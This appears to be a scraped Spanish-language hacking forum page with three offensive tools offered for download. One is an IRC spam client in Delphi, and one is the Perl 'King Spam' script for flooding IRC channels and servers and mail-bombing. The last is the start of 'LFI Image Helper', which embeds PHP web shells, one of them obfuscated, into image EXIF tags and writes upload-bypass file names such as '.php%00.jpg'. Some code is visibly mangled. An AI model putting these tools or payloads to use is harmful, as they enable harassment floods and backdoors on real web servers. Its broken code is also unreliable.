end ;
end ;
if ( FileExists ( GetCurrentDir + '/logs/' + canal. Text + '_usuarios.txt' ) ) then
begin
ShellExecute( Handle, 'open' , Pchar ( GetCurrentDir + '/logs/' + canal. Text +
'_usuarios.txt' ) , nil , nil , SW_SHOWNORMAL) ;
end ;
end ;
procedure TForm1. Button4Click ( Sender: TObject ) ;
begin
lista_canales. Items . Add ( canal_agregar. Text ) ;
end ;
procedure TForm1. Button5Click ( Sender: TObject ) ;
var
i: integer ;
canal_z: string ;
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Spamming channel ...' ;
StatusBar1. Update ;
console1. Clear ;
try
begin
IdIRC1. Nickname : = nombre. Text ;
IdIRC1. AltNickname : = nombre. Text + '123' ;
IdIRC1. Username : = nombre. Text ;
IdIRC1. RealName : = nombre. Text ;
IdIRC1. Password : = '' ;
IdIRC1. host : = host. Text ;
IdIRC1. Connect ;
for i : = 0 to lista_canales. Count - 1 do
begin
canal_z : = lista_canales. Items [ i] ;
IdIRC1. Join ( canal_z) ;
console1. Lines . Add ( '[+] Spam in channel : ' + canal_z) ;
IdIRC1. Say ( canal_z, file_spam. Items [ Random ( file_spam. Count - 1 ) + 0 ] ) ;
Sleep ( 2000 ) ;
IdIRC1. Part ( canal_z) ;
Sleep ( 2000 ) ;
end ;
end ;
except
ShowMessage( 'Error connecting' ) ;
end ;
IdIRC1. Disconnect ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Finished' ;
StatusBar1. Update ;
end ;
procedure TForm1. Button6Click ( Sender: TObject ) ;
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Spamming users ...' ;
StatusBar1. Update ;
IdIRC1. Nickname : = nombre. Text ;
IdIRC1. AltNickname : = nombre. Text + '123' ;
IdIRC1. Username : = nombre. Text ;
IdIRC1. RealName : = nombre. Text ;
IdIRC1. Password : = '' ;
IdIRC1. host : = host. Text ;
try
begin
IdIRC1. Connect ;
IdIRC1. Join ( canal_spam_usuarios. Text ) ;
spam_usuarios. Interval : = 10000 ;
spam_usuarios. Enabled : = true ;
end ;
except
begin
ShowMessage( 'Error connecting' ) ;
end ;
end ;
end ;
procedure TForm1. FormCreate ( Sender: TObject ) ;
begin
if not DirectoryExists ( 'logs' ) then
begin
CreateDir ( 'logs' ) ;
end ;
OpenDialog1. InitialDir : = GetCurrentDir ;
end ;
procedure TForm1. IdIRC1Raw ( ASender: TIdContext; AIn: Boolean ;
const AMessage: string ) ;
var
code: string ;
regex: TPerlRegEx;
otroregex: TPerlRegEx;
canales_encontrados: string ;
control: TPerlRegEx;
otrocontrol: TPerlRegEx;
i: integer ;
i2: integer ;
renicks: string ;
listanow: TStringList;
arraynow: array of String ;
begin
code : = AMessage;
regex : = TPerlRegEx. Create ( ) ;
otroregex : = TPerlRegEx. Create ( ) ;
// console1.Lines.Add(code);
regex. regex : = '322 (.*?) (.*?) (.*?) :' ;
regex. Subject : = code;
if regex. Match then
begin
canales_encontrados : = regex. Groups [ 2 ] ;
canales. Items . Add ( canales_encontrados) ;
if ( control_guardar_canales = 'yes' ) then
begin
savefile( 'logs/' + host. Text + '_canales.txt' , canales_encontrados) ;
end ;
end ;
otroregex. regex : = '353 (.*) = #(.*) :(.*)' ;
otroregex. Subject : = code;
if otroregex. Match then
begin
renicks : = otroregex. Groups [ 3 ] ;
renicks : = StringReplace ( renicks, nombre. Text , '' , [ ] ) ;
listanow : = TStringList. Create ;
listanow. Delimiter : = ' ' ;
listanow. DelimitedText : = renicks;
for i2 : = 0 to listanow. Count - 1 do
begin
users. Items . Add ( listanow[ i2] ) ;
if ( control_guardar_users = 'yes' ) then
begin
savefile( 'logs/' + canal. Text + '_usuarios.txt' , listanow[ i2] ) ;
end ;
end ;
end ;
control : = TPerlRegEx. Create ( ) ;
control. regex : = 'End of /LIST' ;
control. Subject : = code;
if control. Match then
begin
if ( buscando_canales = 'yes' ) then
begin
ShowMessage( 'Channels Loaded' ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Channels Found' ;
StatusBar1. Update ;
regex. Free ;
IdIRC1. Disconnect ;
IdIRC1. Destroy ;
buscando_canales : = 'no' ;
end ;
end ;
otrocontrol : = TPerlRegEx. Create ( ) ;
otrocontrol. regex : = 'End of /NAMES' ;
otrocontrol. Subject : = code;
if otrocontrol. Match then
begin
if ( buscando_usuarios = 'yes' ) then
begin
ShowMessage( 'Users Loaded' ) ;
StatusBar1. Panels [ 0 ] . Text : = '[+] Users Found' ;
StatusBar1. Update ;
otrocontrol. Free ;
IdIRC1. Part ( canal. Text ) ;
IdIRC1. Disconnect ;
IdIRC1. Destroy ( ) ;
buscando_usuarios : = 'no' ;
end ;
end ;
end ;
procedure TForm1. L1Click ( Sender: TObject ) ;
var
i: integer ;
contenido: TStringList;
stream: TFileStream;
begin
if OpenDialog1. Execute then
begin
contenido : = TStringList. Create ;
stream : = TFileStream. Create ( ( OpenDialog1. filename ) , fmShareDenyNone) ;
contenido. LoadFromStream ( stream) ;
for i : = 0 to contenido. Count - 1 do
begin
lista_canales. Items . Add ( contenido[ i] ) ;
end ;
end ;
end ;
procedure TForm1. R1Click ( Sender: TObject ) ;
begin
lista_canales. Clear ;
end ;
procedure TForm1. spam_usuariosTimer ( Sender: TObject ) ;
var
i: integer ;
begin
for i : = 0 to users. Count - 1 do
begin
StatusBar1. Panels [ 0 ] . Text : = '[+] Spamming to ' + users. Items [ i] ;
StatusBar1. Update ;
console2. Lines . Add ( '[+] Spamming to ' + users. Items [ i] ) ;
IdIRC1. Say ( users. Items [ i] ,
file_spam. Items [ Random ( file_spam. Count - 1 ) + 0 ] ) ;
end ;
end ;
end .
// The End ?
Si lo quieren bajar lo pueden hacer de
aca
55
Programación / Scripting / [Perl] King Spam 1.0
en: 15 Mayo 2015, 18:25 pm
Un simple script en Perl para hacer spam en canales IRC y correos.
Tiene las siguientes opciones :
Spammear un canal normalmente o por siempre Spammear un servidor entero Spammear una lista de servidores y todos sus canales Poder elegir un nick para el bot y un timeout Permite spammear cuentas de correo El codigo :
#!usr/bin/perl
#King Spam 1.0
#(C) Doddy Hackman 2015
# SMTP Servers
#smtp.gmail.com - 465
#smtp.mail.yahoo.com -587
use IO:: Socket ;
use Color:: Output ;
Color:: Output :: Init ;
use Getopt:: Long ;
#use Win32::OLE;
my $nick_secundario = "Cl4ptr4p" ;
my $timeout_secundario = "5" ;
GetOptions(
"get_channels=s" => \$get_channels ,
"get_users=s" => \$get_users ,
"spam_channel=s" => \$spam_channel ,
"spam_channel_forever=s" => \$spam_channel_forever ,
"spam_server=s" => \$spam_server ,
"spam_servers_file=s" => \$spam_servers_file ,
"spam_targets=s" => \$spam_targets ,
"spam_file=s" => \$spam_file ,
"channel=s" => \$channel ,
"port=s" => \$port ,
"nick=s" => \$nick ,
"savefile=s" => \$file ,
"timeout=s" => \$timeout ,
"mailbomber" => \$mailbomber
) ;
head( ) ;
if ( $get_channels ) {
my $port_now = "" ;
my $nick_now = "" ;
my $file_now = "" ;
if ( ! $port ) {
$port_now = "6667" ;
}
else {
$port_now = $port ;
}
if ( ! $nick ) {
$nick_now = $nick_secundario ;
}
else {
$nick_now = $nick ;
}
if ( ! $file ) {
$file_now = "" ;
}
else {
$file_now = $file ;
}
listar_canales( $get_channels , $port_now , $nick_now , $file_now ) ;
}
elsif ( $get_users ) {
my $port_now = "" ;
my $nick_now = "" ;
my $file_now = "" ;
if ( ! $port ) {
$port_now = "6667" ;
}
else {
$port_now = $port ;
}
if ( ! $nick ) {
$nick_now = $nick_secundario ;
}
else {
$nick_now = $nick ;
}
printear_titulo( "[+] Serching users ...\n \n " ) ;
my @usuarios =
buscar_usuarios( $get_users , $port_now , $nick_now , $channel ) ;
if ( int ( @usuarios ) eq "0" ) { printear( "[-] Users not found\n " ) ;
}
else {
printear( "[+] Users Found : " ) ;
for my $usuario ( @usuarios ) {
printear( "[+] User : " ) ;
savefile( $file , $usuario ) ;
}
}
}
elsif ( $spam_channel ) {
my $port_now = "" ;
my $nick_now = "" ;
my $timeout_now = "" ;
if ( ! $port ) {
$port_now = "6667" ;
}
else {
$port_now = $port ;
}
if ( ! $nick ) {
$nick_now = $nick_secundario ;
}
else {
$nick_now = $nick ;
}
if ( ! $timeout ) {
$timeout_now = $timeout_secundario ;
}
else {
$timeout_now = $timeout ;
}
spam_canal(
$spam_channel , $port_now , $nick_now ,
$channel , $spam_file , $timeout_now
) ;
}
elsif ( $spam_channel_forever ) {
my $port_now = "" ;
my $nick_now = "" ;
my $timeout_now = "" ;
if ( ! $port ) {
$port_now = "6667" ;
}
else {
$port_now = $port ;
}
if ( ! $nick ) {
$nick_now = $nick_secundario ;
}
else {
$nick_now = $nick ;
}
if ( ! $timeout ) {
$timeout_now = $timeout_secundario ;
}
else {
$timeout_now = $timeout ;
}
spam_canal_forever( $spam_channel_forever , $port_now , $nick_now ,
$channel , $spam_file , $timeout_now ) ;
}
elsif ( $spam_server ) {
my $port_now = "" ;
my $nick_now = "" ;
my $timeout_now = "" ;
if ( ! $port ) {
$port_now = "6667" ;
}
else {
$port_now = $port ;
}
if ( ! $nick ) {
$nick_now = $nick_secundario ;
}
else {
$nick_now = $nick ;
}
if ( ! $timeout ) {
$timeout_now = $timeout_secundario ;
}
else {
$timeout_now = $timeout ;
}
my @encontrados = buscar_canales( $spam_server , $port_now , $nick_now ) ;
for my $encontrado ( @encontrados ) {
if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
my $canal = $1 ;
my $cantidad = $2 ;
spam_canal( $spam_server , $port_now , $nick_now , $canal , $spam_file ,
$timeout_now ) ;
}
}
}
elsif ( $spam_servers_file ) {
my $port_now = "" ;
my $nick_now = "" ;
my $timeout_now = "" ;
if ( ! $port ) {
$port_now = "6667" ;
}
else {
$port_now = $port ;
}
if ( ! $nick ) {
$nick_now = $nick_secundario ;
}
else {
$nick_now = $nick ;
}
if ( ! $timeout ) {
$timeout_now = $timeout_secundario ;
}
else {
$timeout_now = $timeout ;
}
unless ( - f $spam_servers_file ) {
printear( "[-] File not found\n \n " ) ;
copyright( ) ;
}
else {
my @lista = loadfile( $spam_servers_file ) ;
printear( "[+] Servers Found : " ) ;
printear_titulo(
"\n -------------------------------------------------------------\n "
) ;
for my $spam_server ( @lista ) {
my @encontrados =
buscar_canales( $spam_server , $port_now , $nick_now ) ;
for my $encontrado ( @encontrados ) {
if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
my $canal = $1 ;
my $cantidad = $2 ;
spam_canal( $spam_server , $port_now , $nick_now , $canal ,
$spam_file , $timeout_now ) ;
printear_titulo(
"\n -------------------------------------------------------------\n "
) ;
}
}
}
}
}
elsif ( $spam_targets ) {
my $port_now = "" ;
my $nick_now = "" ;
my $timeout_now = "" ;
if ( ! $port ) {
$port_now = "6667" ;
}
else {
$port_now = $port ;
}
if ( ! $nick ) {
$nick_now = $nick_secundario ;
}
else {
$nick_now = $nick ;
}
if ( ! $timeout ) {
$timeout_now = $timeout_secundario ;
}
else {
$timeout_now = $timeout ;
}
if ( - f $spam_targets ) {
my @datos = loadfile( $spam_targets ) ;
printear( "[+] Servers Found : " ) ;
printear_titulo(
"\n -------------------------------------------------------------\n "
) ;
for my $dato ( @datos ) {
if ( $dato =~ /(.*) --- (.*)/ ) {
my $server = $1 ;
my $canal = $2 ;
spam_canal( $server , $port_now , $nick_now , $canal , $spam_file ,
$timeout_now ) ;
printear_titulo(
"\n -------------------------------------------------------------\n "
) ;
}
}
}
else {
printear( "\n [-] File not Found\n \n " ) ;
copyright( ) ;
}
}
elsif ( $mailbomber ) {
printear_titulo( "[+] Spam Mails : OK\n \n \n " ) ;
printear( "[+] Host : " ) ;
chomp ( my $host = <stdin> ) ;
printear( "\n [+] Port : " ) ;
chomp ( my $puerto = <stdin> ) ;
printear( "\n [+] Username : " ) ;
chomp ( my $username = <stdin> ) ;
printear( "\n [+] Password : " ) ;
chomp ( my $password = <stdin> ) ;
printear( "\n [+] Count Message : " ) ;
chomp ( my $count = <stdin> ) ;
printear( "\n [+] To : " ) ;
chomp ( my $to = <stdin> ) ;
printear( "\n [+] Subject : " ) ;
chomp ( my $asunto = <stdin> ) ;
printear( "\n [+] Body : " ) ;
chomp ( my $body = <stdin> ) ;
printear( "\n [+] File to Send : " ) ;
chomp ( my $file = <stdin> ) ;
printear_titulo( "\n [+] Starting ...\n \n " ) ;
for my $num ( 1 .. $count ) {
printear( "[+] Sending Message : " ) ;
sendmail(
$host , $puerto , $username , $password , $username , $username ,
$username , $to , $asunto , $body , $file
) ;
}
printear_titulo( "\n [+] Finished\n " ) ;
}
else {
sintax( ) ;
}
copyright( ) ;
# Functions
sub spam_canal {
my $hostname = $_ [ 0 ] ;
my $port = $_ [ 1 ] ;
my $nombre = $_ [ 2 ] ;
my $canal = $_ [ 3 ] ;
my $archivo = $_ [ 4 ] ;
printear( "[+] Connecting to " ) ;
my @nicks = buscar_usuarios( $_ [ 0 ] , $_ [ 1 ] , $_ [ 2 ] , $_ [ 3 ] ) ;
my $contador = 0 ;
my $termine = 0 ;
my $timeout = $_ [ 5 ] ;
my @spamnow = loadfile( $archivo ) ;
if (
my $socket = new IO:: Socket :: INET (
PeerAddr => $hostname ,
PeerPort => $port ,
Proto => "tcp"
)
)
{
print $socket "NICK $nombre\r \n " ; print $socket "USER $nombre 1 1 1 1\r \n " ; print $socket "JOIN $canal\r \n " ;
printear_titulo( "[+] Users Found : " ) ;
while ( my $log = < $socket > ) {
if ( $log =~ /^PING(.*)$/i ) {
print $socket "PONG $1\r \n " ; }
if ( $contador eq "0" ) {
printear( "[+] Spam in channel : " ) ;
print $socket "PRIVMSG $canal " . $spamnow [ rand ( @spamnow ) ] . "\r \n " ; $contador ++;
}
foreach $names ( @nicks ) {
unless ( $nombre eq $names ) {
$names =~ s/\@// ;
$names =~ s/\+// ;
print $socket "PRIVMSG $names $spamnow[rand(@spamnow)]\r \n " ; printear( "[+] Spam to user $names : " ) ;
}
$termine ++;
}
if ( $termine eq int ( @nicks ) ) { $socket -> close ( ) ;
last ;
}
}
}
else {
printear( "[-] Error\n " ) ;
$socket -> close ( ) ;
}
}
sub spam_canal_forever {
my $hostname = $_ [ 0 ] ;
my $port = $_ [ 1 ] ;
my $nombre = $_ [ 2 ] ;
my $canal = $_ [ 3 ] ;
my $archivo = $_ [ 4 ] ;
printear( "[+] Connecting to " ) ;
my @nicks = buscar_usuarios( $_ [ 0 ] , $_ [ 1 ] , $_ [ 2 ] , $_ [ 3 ] ) ;
my $contador = 0 ;
my $termine = 0 ;
my $timeout = $_ [ 5 ] ;
my @spamnow = loadfile( $archivo ) ;
if (
my $socket = new IO:: Socket :: INET (
PeerAddr => $hostname ,
PeerPort => $port ,
Proto => "tcp"
)
)
{
print $socket "NICK $nombre\r \n " ; print $socket "USER $nombre 1 1 1 1\r \n " ; print $socket "JOIN $canal\r \n " ;
printear_titulo( "[+] Users Found : " ) ;
while ( my $log = < $socket > ) {
while ( 1 ) {
if ( $log =~ /^PING(.*)$/i ) {
print $socket "PONG $1\r \n " ; }
if ( $contador eq "0" ) {
printear( "[+] Spam in channel : " ) ;
print $socket "PRIVMSG $canal " . $spamnow [ rand ( @spamnow ) ] . "\r \n " ; $contador ++;
}
foreach $names ( @nicks ) {
unless ( $nombre eq $names ) {
$names =~ s/\@// ;
$names =~ s/\+// ;
"PRIVMSG $names $spamnow[rand(@spamnow)]\r \n " ;
printear( "[+] Spam to user $names : " ) ;
}
$termine ++;
}
$contador = 0 ;
}
if ( $termine eq int ( @nicks ) ) { $socket -> close ( ) ;
last ;
}
}
}
else {
printear( "[-] Error\n " ) ;
$socket -> close ( ) ;
}
}
sub buscar_usuarios {
my $hostname = $_ [ 0 ] ;
my $port = $_ [ 1 ] ;
my $nombre = $_ [ 2 ] ;
my $canal = $_ [ 3 ] ;
if (
my $socket = new IO:: Socket :: INET (
PeerAddr => $hostname ,
PeerPort => $port ,
Proto => "tcp"
)
)
{
print $socket "NICK $nombre\r \n " ; print $socket "USER $nombre 1 1 1 1\r \n " ; print $socket "JOIN $canal\r \n " ;
while ( my $log = < $socket > ) {
if ( $log =~ /^PING(.*)$/i ) {
print $socket "PONG $1\r \n " ; }
if ( $log =~ m/:(.*) 353 (.*) = (.*) :(.*)/ig ) {
my $pro = $4 ;
$pro =~ s/$nombre// ;
my @nicks = split " " , $pro ; $socket -> close ( ) ;
}
}
}
}
sub buscar_canales {
my @resultado ;
my $hostname = $_ [ 0 ] ;
my $port = $_ [ 1 ] ;
my $nombre = $_ [ 2 ] ;
if (
my $socket = new IO:: Socket :: INET (
PeerAddr => $hostname ,
PeerPort => $port ,
Proto => "tcp"
)
)
{
print $socket "NICK $nombre\r \n " ; print $socket "USER $nombre 1 1 1 1\r \n " ; print $socket "LIST\r \n " ;
while ( my $log = < $socket > ) {
if ( $log =~ /322 (.*?) (.*?) (.*?) :/ ) {
my $canal = $2 ;
my $cantidad = $3 ;
push ( @resultado , $canal . "-soy_un_limite-" . $cantidad ) ; }
if ( $log =~ /:End of \/LIST/ ) {
last ;
}
}
$socket -> close ;
}
}
sub listar_canales {
my $host = $_ [ 0 ] ;
my $port = $_ [ 1 ] ;
my $nick = $_ [ 2 ] ;
my $file = $_ [ 3 ] ;
printear_titulo( "[+] Serching channels ...\n \n " ) ;
my @encontrados = buscar_canales( $host , $port , $nick ) ;
if ( int ( @encontrados ) eq "0" or int ( @encontrados ) eq "1" ) { printear_titulo( "[-] Channels not found\n " ) ;
}
else {
printearf_titulo( "Channels" , "Users" ) ;
for my $encontrado ( @encontrados ) {
if ( $encontrado =~ /(.*)-soy_un_limite-(.*)/ ) {
my $canal = $1 ;
my $cantidad = $2 ;
printearf( $canal , $cantidad ) ;
if ( $file ne "" ) {
savefile( $file , $canal ) ;
}
}
}
}
}
sub sendmail {
## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow
my (
$host , $port , $username , $password , $from , $cc ,
$bcc , $to , $asunto , $mensaje , $file
) = @_ ;
$correo = Win32:: OLE -> new ( 'CDO.Message' ) ;
$correo -> Configuration -> Fields -> SetProperty ( "Item" ,
'http://schemas.microsoft.com/cdo/configuration/sendusername' ,
$username ) ;
$correo -> Configuration -> Fields -> SetProperty ( "Item" ,
'http://schemas.microsoft.com/cdo/configuration/sendpassword' ,
$password ) ;
$correo -> Configuration -> Fields -> SetProperty ( "Item" ,
'http://schemas.microsoft.com/cdo/configuration/smtpserver' , $host ) ;
$correo -> Configuration -> Fields -> SetProperty ( "Item" ,
'http://schemas.microsoft.com/cdo/configuration/smtpserverport' ,
$port ) ;
$correo -> Configuration -> Fields -> SetProperty ( "Item" ,
'http://schemas.microsoft.com/cdo/configuration/smtpusessl' , 1 ) ;
$correo -> Configuration -> Fields -> SetProperty ( "Item" ,
'http://schemas.microsoft.com/cdo/configuration/sendusing' , 2 ) ;
$correo -> Configuration -> Fields -> SetProperty ( "Item" ,
'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate' , 1 ) ;
$correo -> Configuration -> Fields -> Update ( ) ;
if ( - f $file ) {
$correo -> AddAttachment ( $file ) ;
}
$correo -> { From} = $from ;
$correo -> { CC} = $cc ;
$correo -> { BCC} = $bcc ;
$correo -> { To} = $to ;
$correo -> { Subject} = $asunto ;
$correo -> { TextBody} = $mensaje ;
$correo -> Send ( ) ;
}
# More Functions
sub printearf_titulo {
cprintf( "\x 0310" . "%-32s %s" . "\x 030\n " , $_ [ 0 ] , $_ [ 1 ] ) ;
}
sub printearf {
cprintf( "\x 036" . "%-32s %s" . "\x 030\n " , $_ [ 0 ] , $_ [ 1 ] ) ;
}
sub printear {
cprint( "\x 036" . $_ [ 0 ] . "\x 030" ) ;
}
sub printear_logo {
cprint( "\x 037" . $_ [ 0 ] . "\x 030" ) ;
}
sub printear_titulo {
cprint( "\x 0310" . $_ [ 0 ] . "\x 030" ) ;
}
sub savefile {
open ( SAVE
, ">>" . $_ [ 0 ] ) ; }
sub loadfile {
if ( - f $_ [ 0 ] ) {
my @words ;
my @r ;
@words = <FILE> ;
for ( @words ) {
}
}
else {
printear( "\n [-] File not found\n \n " ) ;
copyright( ) ;
}
}
sub sintax {
printear( "[+] Sintax : " ) ;
print "perl $0 <option> <value>\n " ; printear( "\n [+] Options : \n \n " ) ;
"-get_channels <host> -port <port> -nick <nick> -savefile <file> : Get & Save Channels of a server\n " ;
"-get_users <host> -port <port> -channel <channel> -nick <nick> -savefile <file> : Get & Save Channels of a server\n " ;
"-spam_channel <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel\n " ;
"-spam_channel_forever <host> -port <port> -channel <channel> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a Channel Forever\n " ;
"-spam_server <host> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in a server\n " ;
"-spam_servers_list <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in multiple servers\n " ;
"-spam_targets <file> -port <port> -nick <nick> -spam_file <spam> -timeout <timeout> : Spam in servers & channels saved\n " ;
print "-mailbomber : Open MailBomber\n " ; printear( "\n [+] Example : \n \n " ) ;
print "perl kingspam.pl -get_channels localhost\n " ; print "perl kingspam.pl -get_users localhost -channel #locos\n " ; "perl kingspam.pl -spam_channel localhost -channel #locos -spam_file c:/spam.txt\n " ;
"perl kingspam.pl -spam_channel_forever localhost -channel #locos -spam_file c:/spam.txt\n " ;
print "perl kingspam.pl -spam_server localhost -spam_file c:/spam.txt\n " ; "perl kingspam.pl -spam_servers_file c:/servers.txt -nick ClapTrap -spam_file c:/spam.txt\n " ;
"perl kingspam.pl -spam_targets c:/servers.txt -spam_file c:/spam.txt\n " ;
print "perl kingspam.pl -mailbomber\n " ; }
sub head {
printear_logo( "\n -- == KingSpam 1.0 == --\n \n \n " ) ;
}
sub copyright {
printear_logo( "\n \n -- == (C) Doddy Hackman 2015 == --\n \n " ) ;
}
# The End ?
Un video con ejemplos de uso :
VIDEO Si quieren bajar el programa lo pueden hacer de aca :
SourceForge .
56
Programación / Scripting / [Perl] LFI Image Helper 0.8
en: 8 Mayo 2015, 15:57 pm
Un simple script en Perl para colocar codigo de phpshells en imagenes , el script tiene las siguientes opciones :
Listar todos los Tags de la imagen con contenido Listar solo los Tags Leer el valor de cierto Tag Crear un Tag nuevo Editar un Tag Borrar un Tag Infectar una imagen con un backdoor conocido en PHP El codigo :
#!usr/bin/perl
#LFI Image Helper 0.8
#(C) Doddy Hackman 2015
#ppm install http://trouchelle.com/ppm/Image-ExifTool.ppd
#
#Array @shells based on : OhNo - Evil Image Builder By Hood3dRob1n
#Thanks to Hood3dRob1n
#
#Dump Values
#Based on :http://www.nntp.perl.org/group/perl.beginners/2012/02/msg119913.html
#Thanks to Ken Slater
#
use Image:: ExifTool ;
use Getopt:: Long ;
use Color:: Output ;
Color:: Output :: Init ;
my @shells = (
{ } ,
{
"nombre" => "Simple Backdoor" ,
"codigo" => '<?php system($_GET["cmd"]);exit(1); ?>' ,
"ejemplo" => "?cmd="
} ,
{
"nombre" => "System Shell" ,
"codigo" =>
'<?error_reporting(0);print(___);system($_REQUEST[cmd]);print(___);die;?>' ,
"ejemplo" => "?cmd="
} ,
{
"nombre" => "Eval Shell" ,
"codigo" =>
'<?error_reporting(0);print(___);eval($_REQUEST[cmd]);print(___);die;?>' ,
"ejemplo" => "?cmd="
} ,
{
"nombre" => "Sneaky Shell" ,
"codigo" =>
'<?php @$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );?>' ,
"ejemplo" => "?0="
} ,
{
"nombre" => "r0ng Shell" ,
"codigo" =>
'<?if($_GET["r0ng"]){echo"<pre>".shell_exec($_GET["r0ng"]);}?>' ,
"ejemplo" => "?r0ng="
}
) ;
GetOptions(
"dump_all=s" => \$dump_all ,
"dump_tags=s" => \$dump_tags ,
"read_tag=s" => \$read_tag ,
"tag=s" => \$tag ,
"make_tag=s" => \$make_tag ,
"value=s" => \$value ,
"update_tag=s" => \$update_tag ,
"delete_tag=s" => \$delete_tag ,
"backdoor=s" => \$backdoor ,
"bypass=s" => \$bypass ,
"file=s" => \$file
) ;
head( ) ;
if ( $dump_all ) {
if ( - f $dump_all ) {
printear_titulo( "[+] Finding information in : " ) ;
dump_all( $dump_all ) ;
}
else {
printear( "[-] File not found\n " ) ;
}
}
elsif ( $dump_tags ) {
if ( - f $dump_tags ) {
printear_titulo( "[+] Finding tags in : " ) ;
print $dump_tags . "\n \n " ; dump_tags( $dump_tags ) ;
}
else {
printear( "[-] File not found\n " ) ;
}
}
elsif ( $read_tag ) {
if ( - f $read_tag ) {
printear_titulo( "[+] Finding tag value of $tag in : " ) ;
read_tag( $read_tag , $tag ) ;
}
else {
printear( "[-] File not found\n " ) ;
}
}
elsif ( $make_tag ) {
if ( - f $make_tag ) {
printear_titulo( "[+] Photo : " ) ;
printear_titulo( "[+] Name : " ) ;
printear_titulo( "[+] Value : " ) ;
printear( "[+] Making tag $tag ...\n \n " ) ;
make_tag( $make_tag , $tag , $value ) ;
}
else {
printear( "[-] File not found\n " ) ;
}
}
elsif ( $update_tag ) {
if ( - f $update_tag ) {
printear_titulo( "[+] Photo : " ) ;
printear_titulo( "[+] Name : " ) ;
printear_titulo( "[+] Value : " ) ;
printear( "[+] Updating tag $tag ...\n \n " ) ;
update_tag( $update_tag , $tag , $value ) ;
}
else {
printear( "[-] File not found\n " ) ;
}
}
elsif ( $delete_tag ) {
if ( - f $delete_tag ) {
printear_titulo( "[+] Deleting tag $tag in : " ) ;
print $delete_tag . "\n \n " ; delete_tag( $delete_tag , $tag ) ;
}
else {
printear( "[-] File not found\n " ) ;
}
}
elsif ( $backdoor ) {
if ( - f $backdoor ) {
printear_titulo( "[+] Photo : " ) ;
printear( "[+] 1 : " ) ;
print "Simple Backdoor\n " ; printear( "[+] 2 : " ) ;
printear( "[+] 3 : " ) ;
printear( "[+] 4 : " ) ;
printear( "[+] 5 : " ) ;
printear_titulo( "\n [+] Option : " ) ;
chomp ( my $opcion = <stdin> ) ;
backdoor_tag( $backdoor , $opcion , $file ) ;
}
else {
printear( "[-] File not found\n " ) ;
}
}
elsif ( $bypass ) {
if ( - f $bypass ) {
my $source = readfile( $bypass ) ;
printear_titulo( "[+] PHP Shell : " ) ;
printear( "[+] 1 : " ) ;
print "bypass.jpg.php\n " ; printear( "[+] 2 : " ) ;
print "bypass.php;test.jpg\n " ; printear( "[+] 3 : " ) ;
print "bypass.php%00.jpg\n " ;
printear_titulo( "\n [+] Option : " ) ;
chomp ( my $opcion = <stdin> ) ;
if ( $opcion eq "1" ) {
savefile( $file . ".jpg.php" , $source ) ;
chmod 0777
, $file . ".jpg.php" ; }
elsif ( $opcion eq "2" ) {
savefile( $file . ".php;test.jpg" , $source ) ;
chmod 0777
, $file . ".php;test.jpg" ; }
elsif ( $opcion eq "3" ) {
savefile( $file . ".php%00.jpg" , $source ) ;
chmod 0777
, $file . ".php%00.jpg" ; }
else {
savefile( $file . ".jpg.php" , $source ) ;
chmod 0777
, $file . ".jpg.php" ; }
printear( "\n [+] PHP Shell Bypassed\n " ) ;
}
else {
printear( "\n [-] File not found\n " ) ;
}
}
else {
sintax( ) ;
}
copyright( ) ;
# Functions
sub backdoor_tag {
my $image = $_ [ 0 ] ;
my $opcion = $_ [ 1 ] ;
my $final = $_ [ 2 ] ;
my $tag = "Model" ;
my $nombre = $shells [ $opcion ] -> { nombre} ;
my $valor = $shells [ $opcion ] -> { codigo} ;
my $ejemplo = $shells [ $opcion ] -> { ejemplo} ;
printear( "\n [+] Backdoor Name : " ) ;
printear( "[+] Backdoor Example : " ) ;
my $datos_imagen = new Image:: ExifTool ;
my $informacion_imagen = $datos_imagen -> ImageInfo ( $image ) ;
$datos_imagen -> SetNewValue ( $tag , $valor ) ;
$ok = $datos_imagen -> WriteInfo ( $image , $final ) ;
if ( $ok eq "1" ) {
printear_titulo( "\n [+] Backdoor : " ) ;
}
else {
printear_titulo( "\n [-] Backdoor: " ) ;
}
}
sub delete_tag {
my $imagen_target = $_ [ 0 ] ;
my $tag = $_ [ 1 ] ;
my $datos_imagen = new Image:: ExifTool ;
my $informacion_imagen = $datos_imagen -> ImageInfo ( $imagen_target ) ;
$datos_imagen -> SetNewValue ( $tag , undef ) ;
$ok = $datos_imagen -> WriteInfo ( $imagen_target ) ;
if ( $ok eq "1" ) {
printear_titulo( "[+] Tag $tag : " ) ;
}
else {
printear_titulo( "[-] Tag $tag : " ) ;
}
}
sub update_tag {
my $image = $_ [ 0 ] ;
my $tag = $_ [ 1 ] ;
my $valor = $_ [ 2 ] ;
my $datos_imagen = new Image:: ExifTool ;
my $informacion_imagen = $datos_imagen -> ImageInfo ( $image ) ;
$datos_imagen -> SetNewValue ( $tag , $valor ) ;
$ok = $datos_imagen -> WriteInfo ( $image ) ;
if ( $ok eq "1" ) {
printear_titulo( "[+] Tag $tag : " ) ;
}
else {
printear_titulo( "[-] Tag $tag : " ) ;
}
}
sub make_tag {
my $image = $_ [ 0 ] ;
my $name = $_ [ 1 ] ;
my $value = $_ [ 2 ] ;
my $poc = Image:: ExifTool -> new ( ) ;
